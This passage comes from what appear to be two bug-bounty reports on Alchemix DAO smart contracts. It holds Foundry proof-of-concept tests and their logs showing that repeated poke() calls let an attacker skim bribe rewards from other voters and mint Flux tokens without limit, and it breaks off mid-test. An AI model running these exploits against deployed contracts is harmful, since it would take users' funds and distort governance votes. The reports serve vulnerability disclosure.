        earnedBribes3 = IBribe(bribeAddress).earned(bal, tokenId3); 
        console2.log("earnedBribes3", earnedBribes3);        

        hevm.prank(Alice);
        voter.claimBribes(bribes, tokens, tokenId2);
        console2.log("Bal balance of Alice: %s", IERC20(bal).balanceOf(Alice)); 
        
        hevm.prank(Bob);
        voter.claimBribes(bribes, tokens, tokenId3); 
        console2.log("Bal balance of Bob: %s", IERC20(bal).balanceOf(Bob)); 
    
        console2.log("Bal balance of Bribe contract: %s", IERC20(bal).balanceOf(bribeAddress)); 
        
    }
```

Step 1:\
3 users: Alice, Bob and the attacker create locks with 1e18 BPT token

```solidity
        uint256 tokenId1 = createVeAlcx(attacker, TOKEN_1, MAXTIME, false);
        uint256 tokenId2 = createVeAlcx(Alice, TOKEN_1, MAXTIME, false);
        tokenId3 = createVeAlcx(Bob, TOKEN_1, MAXTIME, false);
        
```

Step 2: The bribe contract receive some reward, suppose 100\_000e18 BAL

```solidity
    createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
```

```solidity
    function createThirdPartyBribe(address _bribeAddress, address _token, uint256 _amount) public {
        deal(_token, address(this), _amount);

        IERC20(_token).approve(_bribeAddress, _amount);

        if (!IVoter(voter).isWhitelisted(_token)) {
            hevm.prank(address(timelockExecutor));
            IVoter(voter).whitelist(_token);
        }

        IBribe(_bribeAddress).notifyRewardAmount(_token, _amount);
    }
    
```

Step 3: Each user will vote

```solidity
        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        hevm.prank(attacker);
        voter.vote(tokenId1, pools, weights, 0);
        
        hevm.prank(Alice);
        voter.vote(tokenId2, pools, weights, 0);

        hevm.prank(Bob);
        voter.vote(tokenId3, pools, weights, 0);

```

Step 3.1: Attacker call poke() repeatedly to inflate the totalVoting

```solidity
        console2.log("totalVoting after vote(): %", IBribe(bribeAddress).totalVoting());
        console2.log("Call voter poke()"); 
                hevm.startPrank(attacker);
        voter.poke(tokenId1);
        console2.log("totalVoting after poke(): %", IBribe(bribeAddress).totalVoting()); 
        voter.poke(tokenId1);
        console2.log("totalVoting after poke(): %", IBribe(bribeAddress).totalVoting()); 
        voter.poke(tokenId1);
        console2.log("totalVoting after poke(): %", IBribe(bribeAddress).totalVoting()); 
        hevm.stopPrank();
```

Step 4: Fast forward 1 EPOCH and each user will be able to claim 1/3 of 100\_000e18 BAL token as reward. If all users claim then the left token in the contract will be nearly zero.

```solidity
        hevm.warp(newEpoch()); 
        
        uint256 earnedBribes1 = IBribe(bribeAddress).earned(bal, tokenId1); 
        console2.log("earnedBribes1", earnedBribes1); 
        
         earnedBribes2 = IBribe(bribeAddress).earned(bal, tokenId2); 
        console2.log("earnedBribes2", earnedBribes2); 

         earnedBribes3 = IBribe(bribeAddress).earned(bal, tokenId3); 
        console2.log("earnedBribes3", earnedBribes3); 

        hevm.prank(attacker);
        voter.claimBribes(bribes, tokens, tokenId1);
        console2.log("Bal balance of attacker: %s", IERC20(bal).balanceOf(attacker)); 

        hevm.prank(Alice);
        voter.claimBribes(bribes, tokens, tokenId2);
        console2.log("Bal balance of Alice: %s", IERC20(bal).balanceOf(Alice)); 
        
        hevm.prank(Bob);
        voter.claimBribes(bribes, tokens, tokenId3); 
        console2.log("Bal balance of Bob: %s", IERC20(bal).balanceOf(Bob)); 
```

The full log of this test case:

```
[PASS] testBribeClaimingPoke_Hacked() (gas: 4855977)
Logs:
  Bal balance of Bribe contract: 100000000000000000000000
  Call voter poke()
  totalVoting after poke(): % 3998814434263944902
  totalVoting after poke(): % 5998221651395917353
  totalVoting after poke(): % 7997628868527889804
  earnedBribes0 0
  earnedBribes2 0
  earnedBribes3 0
  Fast forward 1 epoch
  earnedBribes1 16666666666666666666666
  Bal balance of attacker: 16666666666666666666666
  earnedBribes2 16666666666666666666666
  earnedBribes3 16666666666666666666666
  Bal balance of Alice: 16666666666666666666666
  Bal balance of Bob: 16666666666666666666666
  Bal balance of Bribe contract: 50000000000000000000002
```

### testBribeClaimingPoke\_Hacked\_2()

I also created the test case for the case that a normal user call poke() in this POC:

```solidity
function testBribeClaimingPoke_Hacked_2() public {

        
        address attacker = address(this) ; 
        uint256 tokenId1 = createVeAlcx(address(this), TOKEN_1, MAXTIME, false);
        uint256 tokenId2 = createVeAlcx(Alice, TOKEN_1, MAXTIME, false);
        tokenId3 = createVeAlcx(Bob, TOKEN_1, MAXTIME, false);
        address bribeAddress = voter.bribes(address(sushiGauge));

        // Add BAL bribes to sushiGauge
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
        console2.log("Bal balance of Bribe contract: %s", IERC20(bal).balanceOf(bribeAddress)); 

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](2);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;

        hevm.prank(attacker);
        voter.vote(tokenId1, pools, weights, 0);
        console2.log("totalVoting after vote(): %", IBribe(bribeAddress).totalVoting());
        console2.log("Call voter poke()"); 
        hevm.startPrank(attacker);
        voter.poke(tokenId1);
        console2.log("totalVoting after poke(): %", IBribe(bribeAddress).totalVoting());        
        hevm.stopPrank();

        hevm.prank(Alice);
        voter.vote(tokenId2, pools, weights, 0);

        hevm.prank(Bob);
        voter.vote(tokenId3, pools, weights, 0);

        uint256 earnedBribes0 = IBribe(bribeAddress).earned(bal, tokenId1);
        assertEq(earnedBribes0, 0, "no bribes should be earned yet"); 
        console2.log("earnedBribes0", earnedBribes0); 

        earnedBribes2 = IBribe(bribeAddress).earned(bal, tokenId2); 
        console2.log("earnedBribes2", earnedBribes2); 

        earnedBribes3 = IBribe(bribeAddress).earned(bal, tokenId3); 
        console2.log("earnedBribes3", earnedBribes3);

        console2.log("Fast forward 1 epoch"); 
        hevm.warp(newEpoch()); 
        
        hevm.startPrank(attacker);
        voter.poke(tokenId1);
        hevm.stopPrank();

        uint256 earnedBribes1 = IBribe(bribeAddress).earned(bal, tokenId1); 
        console2.log("earnedBribes1", earnedBribes1); 

        hevm.prank(attacker);
        voter.claimBribes(bribes, tokens, tokenId1);
        console2.log("Bal balance of attacker: %s", IERC20(bal).balanceOf(attacker)); 
        
        earnedBribes2 = IBribe(bribeAddress).earned(bal, tokenId2); 
        console2.log("earnedBribes2", earnedBribes2); 

        earnedBribes3 = IBribe(bribeAddress).earned(bal, tokenId3); 
        console2.log("earnedBribes3", earnedBribes3);        

        hevm.prank(Alice);
        voter.claimBribes(bribes, tokens, tokenId2);
        console2.log("Bal balance of Alice: %s", IERC20(bal).balanceOf(Alice)); 
        
        hevm.prank(Bob);
        voter.claimBribes(bribes, tokens, tokenId3); 
        console2.log("Bal balance of Bob: %s", IERC20(bal).balanceOf(Bob)); 
    
        console2.log("Bal balance of Bribe contract: %s", IERC20(bal).balanceOf(bribeAddress)); 
        
    }


```

The full log:

```
[PASS] testBribeClaimingPoke_Hacked_2() (gas: 4470612)
Logs:
  Bal balance of Bribe contract: 100000000000000000000000
  Call voter poke()
  totalVoting after poke(): % 3998814434263944902
  earnedBribes0 0
  earnedBribes2 0
  earnedBribes3 0
  Fast forward 1 epoch
  earnedBribes1 25000000000000000000000
  Bal balance of attacker: 25000000000000000000000
  earnedBribes2 25000000000000000000000
  earnedBribes3 25000000000000000000000
  Bal balance of Alice: 25000000000000000000000
  Bal balance of Bob: 25000000000000000000000
  Bal balance of Bribe contract: 25000000000000000000000
```

### testBribeClaimingPoke\_Normal()

I also created the test case for a normal scenario

```solidity
function testBribeClaimingPoke_Normal() public {

      
        address attacker = address(this) ; 
        uint256 tokenId1 = createVeAlcx(address(this), TOKEN_1, MAXTIME, false);
        uint256 tokenId2 = createVeAlcx(Alice, TOKEN_1, MAXTIME, false);
        tokenId3 = createVeAlcx(Bob, TOKEN_1, MAXTIME, false);
        address bribeAddress = voter.bribes(address(sushiGauge));

        // Add BAL bribes to sushiGauge
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
        console2.log("Bal balance of Bribe contract: %s", IERC20(bal).balanceOf(bribeAddress)); 

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](2);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;

        hevm.prank(attacker);
        voter.vote(tokenId1, pools, weights, 0);
        
        hevm.prank(Alice);
        voter.vote(tokenId2, pools, weights, 0);

        hevm.prank(Bob);
        voter.vote(tokenId3, pools, weights, 0);

        uint256 earnedBribes0 = IBribe(bribeAddress).earned(bal, tokenId1); 

        assertEq(earnedBribes0, 0, "no bribes should be earned yet"); 
        console2.log("earnedBribes0", earnedBribes0); 

        earnedBribes2 = IBribe(bribeAddress).earned(bal, tokenId2); 
        console2.log("earnedBribes2", earnedBribes2); 

        earnedBribes3 = IBribe(bribeAddress).earned(bal, tokenId3); 
        console2.log("earnedBribes3", earnedBribes3);
        
        console2.log("Fast forward 1 epoch"); 
        // Start second epoch
        hevm.warp(newEpoch()); 
        
        uint256 earnedBribes1 = IBribe(bribeAddress).earned(bal, tokenId1); 
        console2.log("earnedBribes1", earnedBribes1); 
        
         earnedBribes2 = IBribe(bribeAddress).earned(bal, tokenId2); 
        console2.log("earnedBribes2", earnedBribes2); 

         earnedBribes3 = IBribe(bribeAddress).earned(bal, tokenId3); 
        console2.log("earnedBribes3", earnedBribes3); 

        hevm.prank(attacker);
        voter.claimBribes(bribes, tokens, tokenId1);
        console2.log("Bal balance of attacker: %s", IERC20(bal).balanceOf(attacker)); 

        hevm.prank(Alice);
        voter.claimBribes(bribes, tokens, tokenId2);
        console2.log("Bal balance of Alice: %s", IERC20(bal).balanceOf(Alice)); 
        
        hevm.prank(Bob);
        voter.claimBribes(bribes, tokens, tokenId3); 
        console2.log("Bal balance of Bob: %s", IERC20(bal).balanceOf(Bob)); 
        console2.log("Bal balance of Bribe contract: %s", IERC20(bal).balanceOf(bribeAddress)); 

        
    }
```

The log:

```
[PASS] testBribeClaimingPoke_Normal() (gas: 5253330)
Logs:
  Bal balance of Bribe contract: 100000000000000000000000
  earnedBribes0 0
  earnedBribes2 0
  earnedBribes3 0
  Fast forward 1 epoch
  earnedBribes1 33333333333333333333333
  earnedBribes2 33333333333333333333333
  earnedBribes3 33333333333333333333333
  Bal balance of attacker: 33333333333333333333333
  Bal balance of Alice: 33333333333333333333333
  Bal balance of Bob: 33333333333333333333333
  Bal balance of Bribe contract: 1
```

The left token in the contract in this scenario is 1 token, that is just dust.

### The full test cases:

```solidity
 address Alice = address(0x11223344); 
    address Bob = address(0x55667788);
    uint256 tokenId3;  
    uint256 earnedBribes2; 
    uint256 earnedBribes3; 

    function testBribeClaimingPoke_Hacked() public {

        
        address attacker = address(this) ; 
        uint256 tokenId1 = createVeAlcx(address(this), TOKEN_1, MAXTIME, false);
        uint256 tokenId2 = createVeAlcx(Alice, TOKEN_1, MAXTIME, false);
        tokenId3 = createVeAlcx(Bob, TOKEN_1, MAXTIME, false);
        address bribeAddress = voter.bribes(address(sushiGauge));

        // Add BAL bribes to sushiGauge
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
        console2.log("Bal balance of Bribe contract: %s", IERC20(bal).balanceOf(bribeAddress)); 

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](2);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;

        hevm.prank(attacker);
        voter.vote(tokenId1, pools, weights, 0);
        console2.log("totalVoting after vote(): %", IBribe(bribeAddress).totalVoting());
        console2.log("Call voter poke()"); 
                hevm.startPrank(attacker);
        voter.poke(tokenId1);
        console2.log("totalVoting after poke(): %", IBribe(bribeAddress).totalVoting()); 
        voter.poke(tokenId1);
        console2.log("totalVoting after poke(): %", IBribe(bribeAddress).totalVoting()); 
        voter.poke(tokenId1);
        console2.log("totalVoting after poke(): %", IBribe(bribeAddress).totalVoting()); 
        hevm.stopPrank();

        hevm.prank(Alice);
        voter.vote(tokenId2, pools, weights, 0);

        hevm.prank(Bob);
        voter.vote(tokenId3, pools, weights, 0);

        uint256 earnedBribes0 = IBribe(bribeAddress).earned(bal, tokenId1);
        assertEq(earnedBribes0, 0, "no bribes should be earned yet"); 
        console2.log("earnedBribes0", earnedBribes0); 

        earnedBribes2 = IBribe(bribeAddress).earned(bal, tokenId2); 
        console2.log("earnedBribes2", earnedBribes2); 

        earnedBribes3 = IBribe(bribeAddress).earned(bal, tokenId3); 
        console2.log("earnedBribes3", earnedBribes3);

        console2.log("Fast forward 1 epoch"); 
        hevm.warp(newEpoch()); 
        //voter.distribute();
        hevm.startPrank(attacker);
        voter.poke(tokenId1);
        hevm.stopPrank();

        uint256 earnedBribes1 = IBribe(bribeAddress).earned(bal, tokenId1); 
        console2.log("earnedBribes1", earnedBribes1); 

        hevm.prank(attacker);
        voter.claimBribes(bribes, tokens, tokenId1);
        console2.log("Bal balance of attacker: %s", IERC20(bal).balanceOf(attacker)); 
        
        earnedBribes2 = IBribe(bribeAddress).earned(bal, tokenId2); 
        console2.log("earnedBribes2", earnedBribes2); 

        earnedBribes3 = IBribe(bribeAddress).earned(bal, tokenId3); 
        console2.log("earnedBribes3", earnedBribes3);        

        hevm.prank(Alice);
        voter.claimBribes(bribes, tokens, tokenId2);
        console2.log("Bal balance of Alice: %s", IERC20(bal).balanceOf(Alice)); 
        
        hevm.prank(Bob);
        voter.claimBribes(bribes, tokens, tokenId3); 
        console2.log("Bal balance of Bob: %s", IERC20(bal).balanceOf(Bob)); 
    
        console2.log("Bal balance of Bribe contract: %s", IERC20(bal).balanceOf(bribeAddress)); 
        
    }

    function testBribeClaimingPoke_Hacked_2() public {

        
        address attacker = address(this) ; 
        uint256 tokenId1 = createVeAlcx(address(this), TOKEN_1, MAXTIME, false);
        uint256 tokenId2 = createVeAlcx(Alice, TOKEN_1, MAXTIME, false);
        tokenId3 = createVeAlcx(Bob, TOKEN_1, MAXTIME, false);
        address bribeAddress = voter.bribes(address(sushiGauge));

        // Add BAL bribes to sushiGauge
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
        console2.log("Bal balance of Bribe contract: %s", IERC20(bal).balanceOf(bribeAddress)); 

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](2);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;

        hevm.prank(attacker);
        voter.vote(tokenId1, pools, weights, 0);
        console2.log("totalVoting after vote(): %", IBribe(bribeAddress).totalVoting());
        console2.log("Call voter poke()"); 
        hevm.startPrank(attacker);
        voter.poke(tokenId1);
        console2.log("totalVoting after poke(): %", IBribe(bribeAddress).totalVoting());        
        hevm.stopPrank();

        hevm.prank(Alice);
        voter.vote(tokenId2, pools, weights, 0);

        hevm.prank(Bob);
        voter.vote(tokenId3, pools, weights, 0);

        uint256 earnedBribes0 = IBribe(bribeAddress).earned(bal, tokenId1);
        assertEq(earnedBribes0, 0, "no bribes should be earned yet"); 
        console2.log("earnedBribes0", earnedBribes0); 

        earnedBribes2 = IBribe(bribeAddress).earned(bal, tokenId2); 
        console2.log("earnedBribes2", earnedBribes2); 

        earnedBribes3 = IBribe(bribeAddress).earned(bal, tokenId3); 
        console2.log("earnedBribes3", earnedBribes3);

        console2.log("Fast forward 1 epoch"); 
        hevm.warp(newEpoch()); 
        
        hevm.startPrank(attacker);
        voter.poke(tokenId1);
        hevm.stopPrank();

        uint256 earnedBribes1 = IBribe(bribeAddress).earned(bal, tokenId1); 
        console2.log("earnedBribes1", earnedBribes1); 

        hevm.prank(attacker);
        voter.claimBribes(bribes, tokens, tokenId1);
        console2.log("Bal balance of attacker: %s", IERC20(bal).balanceOf(attacker)); 
        
        earnedBribes2 = IBribe(bribeAddress).earned(bal, tokenId2); 
        console2.log("earnedBribes2", earnedBribes2); 

        earnedBribes3 = IBribe(bribeAddress).earned(bal, tokenId3); 
        console2.log("earnedBribes3", earnedBribes3);        

        hevm.prank(Alice);
        voter.claimBribes(bribes, tokens, tokenId2);
        console2.log("Bal balance of Alice: %s", IERC20(bal).balanceOf(Alice)); 
        
        hevm.prank(Bob);
        voter.claimBribes(bribes, tokens, tokenId3); 
        console2.log("Bal balance of Bob: %s", IERC20(bal).balanceOf(Bob)); 
    
        console2.log("Bal balance of Bribe contract: %s", IERC20(bal).balanceOf(bribeAddress)); 
        
    }

    function testBribeClaimingPoke_Normal() public {

      
        address attacker = address(this) ; 
        uint256 tokenId1 = createVeAlcx(address(this), TOKEN_1, MAXTIME, false);
        uint256 tokenId2 = createVeAlcx(Alice, TOKEN_1, MAXTIME, false);
        tokenId3 = createVeAlcx(Bob, TOKEN_1, MAXTIME, false);
        address bribeAddress = voter.bribes(address(sushiGauge));

        // Add BAL bribes to sushiGauge
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
        console2.log("Bal balance of Bribe contract: %s", IERC20(bal).balanceOf(bribeAddress)); 

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](2);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;

        hevm.prank(attacker);
        voter.vote(tokenId1, pools, weights, 0);
        
        hevm.prank(Alice);
        voter.vote(tokenId2, pools, weights, 0);

        hevm.prank(Bob);
        voter.vote(tokenId3, pools, weights, 0);

        uint256 earnedBribes0 = IBribe(bribeAddress).earned(bal, tokenId1); 

        assertEq(earnedBribes0, 0, "no bribes should be earned yet"); 
        console2.log("earnedBribes0", earnedBribes0); 

        earnedBribes2 = IBribe(bribeAddress).earned(bal, tokenId2); 
        console2.log("earnedBribes2", earnedBribes2); 

        earnedBribes3 = IBribe(bribeAddress).earned(bal, tokenId3); 
        console2.log("earnedBribes3", earnedBribes3);
        
        console2.log("Fast forward 1 epoch"); 
        // Start second epoch
        hevm.warp(newEpoch()); 
        
        uint256 earnedBribes1 = IBribe(bribeAddress).earned(bal, tokenId1); 
        console2.log("earnedBribes1", earnedBribes1); 
        
         earnedBribes2 = IBribe(bribeAddress).earned(bal, tokenId2); 
        console2.log("earnedBribes2", earnedBribes2); 

         earnedBribes3 = IBribe(bribeAddress).earned(bal, tokenId3); 
        console2.log("earnedBribes3", earnedBribes3); 

        hevm.prank(attacker);
        voter.claimBribes(bribes, tokens, tokenId1);
        console2.log("Bal balance of attacker: %s", IERC20(bal).balanceOf(attacker)); 

        hevm.prank(Alice);
        voter.claimBribes(bribes, tokens, tokenId2);
        console2.log("Bal balance of Alice: %s", IERC20(bal).balanceOf(Alice)); 
        
        hevm.prank(Bob);
        voter.claimBribes(bribes, tokens, tokenId3); 
        console2.log("Bal balance of Bob: %s", IERC20(bal).balanceOf(Bob)); 
        console2.log("Bal balance of Bribe contract: %s", IERC20(bal).balanceOf(bribeAddress)); 

        
    }
```

To run the test, just copy the test code in the file:

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/test/Voting.t.sol>

Then run the command:

```
FOUNDRY_PROFILE=default forge test --fork-url https://rpc.ankr.com/eth --match-path src/test/Voting.t.sol --match-test testBribeClaimingPoke  --fork-block-number 19858400 -vvvvv | format > testBribeClaimingPoke_240513_1000.log

```

Full Log: <https://drive.google.com/file/d/1zU9SNWECqE7S\\_eZRMjFOg1Ha-CNvyxHv/view?usp=sharing>

Full log with debug information: <https://drive.google.com/file/d/1cBNi1a0Um1G0OTCny7KvnpUbXq1FEs1-/view?usp=sharing>


# 31149 - \[SC - Critical] Manipulation of governance voting result by unl...

## Manipulation of governance voting result by unlimited minting the Flux Token by repeatly call poke function

Submitted on May 13th 2024 at 16:06:32 UTC by @perseverance for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31149

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol>

Impacts:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

### Description

## Description

### Brief/Intro

Flux token implements a standard ERC20 token with extra features. Flux tokens are accrued by users of VotingEscrow when voting in the contract Voter. Flux tokens can be used to: i) exit a ve-position early by paying a penalty fee when calling function startCooldown, ii) boost voting power of a NFT holder in contract Voter, or iii) as a normal ERC20 token that can be traded in other systems.

So Flux tokens can be used to boost the voting power of a NFT holder. It is shown in the code of vote() function as below.

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L228C5-L233C6>

```solidity
function vote(
        uint256 _tokenId,
        address[] calldata _poolVote,
        uint256[] calldata _weights,
        uint256 _boost
    ) external onlyNewEpoch(_tokenId) { {

        // redacted for simplicity

    }
    _vote(_tokenId, _poolVote, _weights, _boost);

```

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L412-L455>

```solidity
function _vote(uint256 _tokenId, address[] memory _poolVote, uint256[] memory _weights, uint256 _boost) internal {
        
        
        // redacted for simplicity

        IFluxToken(FLUX).accrueFlux(_tokenId);
        uint256 totalPower = (IVotingEscrow(veALCX).balanceOfToken(_tokenId) + _boost);

    
        // redacted for simplicity
       
        // Update flux balance of token if boost was used
        if (_boost > 0) {
            IFluxToken(FLUX).updateFlux(_tokenId, _boost);
        }
    }
```

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol#L195-L199>

```solidity
    function updateFlux(uint256 _tokenId, uint256 _amount) external {
        require(msg.sender == voter, "not voter");
        require(_amount <= unclaimedFlux[_tokenId], "not enough flux");
        unclaimedFlux[_tokenId] -= _amount;
    }

```

So users can boost the voting power up to unclaimedFlux of the tokenId.

The unclaimedFlux\[\_tokenId] is updated in the function accrueFlux()

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol#L188C5-L192C6>

```solidity
function accrueFlux(uint256 _tokenId) external {
        require(msg.sender == voter, "not voter");
        uint256 amount = IVotingEscrow(veALCX).claimableFlux(_tokenId);
        unclaimedFlux[_tokenId] += amount;
    }
```

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol#L377-L385>

```solidity
function claimableFlux(uint256 _tokenId) public view returns (uint256) {
        // If the lock is expired, no flux is claimable at the current epoch
        if (block.timestamp > locked[_tokenId].end) {
            return 0;
        }

        // Amount of flux claimable is <fluxPerVeALCX> percent of the balance
        return (_balanceOfTokenAt(_tokenId, block.timestamp) * fluxPerVeALCX) / BPS;
    }
```

So according to the design of the Alchemix DAO system, if an user have a locked tokenID then with balanceA then the user can get maximum Fluxtoken for 1 epoch is

```solidity
    _balanceOfTokenAt(_tokenId, block.timestamp)* fluxPerVeALCX) / BPS 
```

### The vulnerability

#### Vulnerability Details

Now an attacker can mint unlimited times of the amount of Flux Token for 1 epoch intended by the Alchemix DAO system by the using the same amount of capital.

So if an user have locked 10 \* 10 \*\* 18 BPT token for 2 weeks, then the maximal amount of flux tokens can be claimed in 1 epoch is:

270057394723366387 = 270\_057\_394\_723\_366\_387 = 270 e15 Flux token.

This amount here is just an example.

Attacker can manipulate the system to mint unlimited times of Flux token by exploiting the function poke() in Voter contract.

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L195-L212>

```solidity
    function poke(uint256 _tokenId) public {
        // Previous boost will be taken into account with weights being pulled from the votes mapping
        uint256 _boost = 0;

        if (msg.sender != admin) {
            require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
        }

        address[] memory _poolVote = poolVote[_tokenId];
        uint256 _poolCnt = _poolVote.length;
        uint256[] memory _weights = new uint256[](_poolCnt);

        for (uint256 i = 0; i < _poolCnt; i++) {
            _weights[i] = votes[_tokenId][_poolVote[i]];
        }

        _vote(_tokenId, _poolVote, _weights, _boost);
    }
```

This function call will call \_vote() internal function then call accrueFlux function of contract FluxToken

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L412-L423>

```solidity
function _vote(uint256 _tokenId, address[] memory _poolVote, uint256[] memory _weights, uint256 _boost) internal {
        
        // redacted for simplicity
        IFluxToken(FLUX).accrueFlux(_tokenId);

        // redacted for simplicity
    }

```

Since the attacker is the owner of tokenId so this is normal. This call will call accrueFlux function to update the unclaimedFlux for the tokenId.

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol#L188C5-L192C6>

```solidity
function accrueFlux(uint256 _tokenId) external {
        require(msg.sender == voter, "not voter");
        uint256 amount = IVotingEscrow(veALCX).claimableFlux(_tokenId);
        unclaimedFlux[_tokenId] += amount;
    }
```

Now this tokenId1 has the balanceTokenId1 => unclaimedFlux\[\_tokenId] += amount

Since the poke() function allows the owner of the tokenId to call this function unlimited times during the same EPOCH. Every time the poke() function is called, then the unclaimedFlux is added one more time.

```solidity
        uint256 amount = IVotingEscrow(veALCX).claimableFlux(_tokenId);
        unclaimedFlux[_tokenId] += amount;
```

By repeatedly call poke() function, the attacker will get more Flux token unlimited times of the current intended amount. When have more flux token, the attacker can use it as boost to manipulate the system to manipulate governance.

## Impacts

## About the severity assessment

The impact is that the attacker will be able to exploit the system to get unlimited times bigger Flux token for the same capital.

Since the Flux tokens can be used to boost the Voting power in Vote function and can manipulate the governance voting result. The attacker can also mint Flux token to get benefit as the Flux token can be traded for other assets as stated by the protocol document.

The severity: Critial

Category:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
* Unauthorized or malicious minting of Flux token

Capital for the attack: Gas to execute the transactions.\
Amount of BPT can be small just to create lock position.

Easy to exploit and easy to be automated.

Please note that this bug is different from bug: Report 39030 (<https://bugs.immunefi.com/dashboard/submission/39030>) was reported by me. Because the bug 39030 describes the exploit using poke() and merge() function. The attack there is more complex and related to merge() functionality. For bug 39030, the attacker can mint only several times of the amount of Flux token.

This bug involves only exploit of poke() function. For this bug the attacker can mint unlimited amount of Flux token.

### Proof of concept

## Proof of concept

### testFluxAccrual\_Poke\_Hacked()

I created the POC for exploit scenario

The POC code:

```solidity
function testFluxAccrual_Poke_Hacked() public {
        
        address attacker = address(this); 
        console2.log("Start to createLock with _maxLockEnabled is false and value is 1e18 BPT");

        uint256 tokenId1 = createVeAlcx(attacker, 10*TOKEN_1, 2 weeks, false);
                
        IVotingEscrow_1.LockedBalance memory _lock = IVotingEscrow_1(address(veALCX)).locked(tokenId1);
        console2.log("LockedBalance of tokenId1 lock.amount: %s  ", _lock.amount);
        console2.log("LockedBalance of tokenId1 _lock.end: %s  ", _lock.end);  
        console2.log("LockedBalance of tokenId1 _lock.cooldown: %s  ", _lock.end); 
        console2.log("LockedBalance of tokenId1 _lock.maxLockEnabled: %s  ", _lock.maxLockEnabled); 
        
        console2.log("Call voter.poke(tokenId1)");
        
        uint256 count = 11000; 

        for (uint256 i = 0; i < count; ++i)
        {
            voter.poke(tokenId1);                       
        
        }
        
        console2.log("After having unclaimFlux, attacker can use to boost voting power or mint Flux token"); 

        console2.log("Flux token balance of the attacker: %s",flux.balanceOf(attacker)); 
        console2.log("Call unclaimedFlux to mint Flux token for the attacker"); 
        uint256 unclaimedFlux = flux.getUnclaimedFlux(tokenId1);
        flux.claimFlux(tokenId1,unclaimedFlux); 
        console2.log("After claiming: Flux token balance of the attacker: %s",flux.balanceOf(attacker));

}
```

In this POC, I use 10 \* 10\*\*18 BPT token. The attacker create 10 tokenIds and repeately call poke(tokenId) and merge

The log shows:

```
[PASS] testFluxAccrual_Poke_Hacked() (gas: 175256241)
Logs:
  Start to createLock with _maxLockEnabled is false and value is 1e18 BPT
  LockedBalance of tokenId1 lock.amount: 10000000000000000000  
  LockedBalance of tokenId1 _lock.end: 1716422400  
  LockedBalance of tokenId1 _lock.cooldown: 1716422400  
  LockedBalance of tokenId1 _lock.maxLockEnabled: false  
  Call voter.poke(tokenId1)
  After having unclaimFlux, attacker can use to boost voting power or mint Flux token
  Flux token balance of the attacker: 0
  Call unclaimedFlux to mint Flux token for the attacker
  After claiming: Flux token balance of the attacker: 2970631341957030257000

```

So at the end of the attack: the attacker still have a tokenId with amount: 10000000000000000000 = 10 \*\* 18 Lock duration: 2 weeks.

So the attacker still can withdraw his capital of BPT token as normal.

The unclaimedFlux of tokenId1: 2970631341957030257000

### testFluxAccrual\_Poke\_Normal()

I also created the normal scenario where a user lock 10 \*\* 10\*\*18 BPT token.

```solidity
function testFluxAccrual_Poke_Normal() public {
        
        address attacker = address(this); 
        console2.log("Start to createLock with _maxLockEnabled is false and value is 1e18 BPT");

        uint256 tokenId1 = createVeAlcx(attacker, 10*TOKEN_1, 2 weeks, false);
                
        IVotingEscrow_1.LockedBalance memory _lock = IVotingEscrow_1(address(veALCX)).locked(tokenId1);
        console2.log("LockedBalance of tokenId1 lock.amount: %s  ", _lock.amount);
        console2.log("LockedBalance of tokenId1 _lock.end: %s  ", _lock.end);  
        console2.log("LockedBalance of tokenId1 _lock.cooldown: %s  ", _lock.end); 
        console2.log("LockedBalance of tokenId1 _lock.maxLockEnabled: %s  ", _lock.maxLockEnabled); 
        
        console2.log("Call voter.poke(tokenId1)");          
        voter.poke(tokenId1);
        uint256 unclaimedFlux = flux.getUnclaimedFlux(tokenId1);
        console2.log("unclaimedFlux1: %s", unclaimedFlux);

